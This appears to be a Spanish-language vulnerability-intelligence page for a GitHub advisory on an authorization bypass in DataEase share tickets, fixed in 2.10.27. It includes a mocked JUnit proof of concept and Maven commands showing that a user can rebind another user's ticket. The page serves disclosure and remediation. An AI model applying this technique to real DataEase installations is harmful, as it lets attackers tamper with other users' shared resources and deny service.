llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Maven · io.dataease

GHSA-G85V-G7P5-J787

Vulnerabilidad de omisión de autorización en tickets

Parche disponible
Descargar PNG JSON
CVSS
—
medium
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versión2.10.27
Exposición58 dDesde la divulgación, 23 sept 2026, 8:19 p. m.
Detección55 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de la severidad declarada por GHSA (media) y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Se arregla en el próximo ciclo. Sin estrés.Tranqui, va para la ventana de mantenimiento.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
24 sept 26
18 nov 26
21 nov 26
24 sept 26
8 oct 26
23 oct 26
7 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-G85V-G7P5-J787 divulgada
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Traducción automática · Ver original
Descripción del advisory
Traducción automática · GitHub

### Impacto
Un atacante autenticado que obtiene el ticket de otro usuario puede cambiar el recurso al que este apunta o invalidar la relación prevista con él, lo que provoca pérdida de integridad y denegación de servicio en el uso compartido protegido por tickets.

Prueba de concepto

Cambie a la versión `v2.10.26` y guarde lo siguiente como
`core/core-backend/src/test/java/io/dataease/share/manage/ShareTicketManagePocTest.java`:

package io.dataease.share.manage;

import io.dataease.api.xpack.share.request.TicketCreator;
import io.dataease.auth.bo.TokenUserBO;
import io.dataease.share.dao.auto.entity.CoreShareTicket;
import io.dataease.share.dao.auto.entity.XpackShare;
import io.dataease.share.dao.auto.mapper.CoreShareTicketMapper;
import io.dataease.share.dao.auto.mapper.XpackShareMapper;
import io.dataease.utils.AuthUtils;
import org.junit.jupiter.api.Test;
import org.mockito.ArgumentCaptor;
import org.springframework.test.util.ReflectionTestUtils;

import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.Mockito.*;

class ShareTicketManagePocTest {
        @Test
        void regularUserCanRebindAnotherUsersTicket() {
                ShareTicketManage manage = new ShareTicketManage();
                CoreShareTicketMapper ticketMapper = mock(CoreShareTicketMapper.class);
                XpackShareMapper shareMapper = mock(XpackShareMapper.class);
                ReflectionTestUtils.setField(manage, "coreShareTicketMapper",
ticketMapper);
                ReflectionTestUtils.setField(manage, "xpackShareMapper", shareMapper);
                AuthUtils.setUser(new TokenUserBO(200L, 1L));

                XpackShare attackerShare = new XpackShare();
                attackerShare.setUuid("attacker-share");
                attackerShare.setCreator(200L);
                when(shareMapper.selectOne(any())).thenReturn(attackerShare);

                CoreShareTicket victimTicket = new CoreShareTicket();
                victimTicket.setId(10L);
                victimTicket.setTicket("victim-ticket");
                victimTicket.setUuid("victim-share");
                when(ticketMapper.selectOne(any())).thenReturn(victimTicket);

                TicketCreator request = new TicketCreator();
                request.setTicket("victim-ticket");
                request.setUuid("attacker-share");
                request.setArgs("attacker-controlled");
                request.setExp(0L);

                manage.saveTicket(request);

                ArgumentCaptor<CoreShareTicket> saved =
ArgumentCaptor.forClass(CoreShareTicket.class);
                verify(ticketMapper).insert(saved.capture());
                assertEquals("attacker-share", saved.getValue().getUuid());
                assertEquals("attacker-controlled", saved.getValue().getArgs());
        System.out.println("VULNERABLE: another user's ticket was rebound");
        }
}

Prepare los módulos del proyecto:

mkdir -p core/core-frontend/dist
mvn -DskipTests install

Establezca temporalmente `<skip>false</skip>` en la configuración existente de Surefire en `core/core-backend/pom.xml` y luego ejecute:

mvn -f core/pom.xml -pl core-backend \
    -Dtest=ShareTicketManagePocTest \
    -Dsurefire.failIfNoSpecifiedTests=false test

La salida en `v2.10.26` es:

VULNERABLE: another user's ticket was rebound
Tests run: 1, Failures: 0, Errors: 0, Skipped: 0
Por qué el parche anterior era incompleto

El parche para CVE-2026-82879 agregó verificaciones de propiedad para la gestión de tickets. La ruta de actualización solo verifica el recurso compartido de destino proporcionado por quien hace la llamada y no verifica la propiedad del ticket existente antes de cambiar su UUID.

Versiones afectadas

Versiones afectadas < v2.10.27

Parches

La vulnerabilidad se corrigió en v2.10.27.

Mitigaciones

Se recomienda actualizar a la versión v2.10.27.

Referencias

Si tiene preguntas o comentarios sobre este aviso:

  • Abra un issue en https://github.com/dataease/dataease
  • Escriba a wei@fit2cloud.com

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida
io.dataease< 2.10.27
2.10.27
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Mavenio.dataease
Corregida 2.10.27 — —
Versiones corregidas2.10.27
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/dataease/dataease/security/advisories/GHSA-g85v-g7p5-j787

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.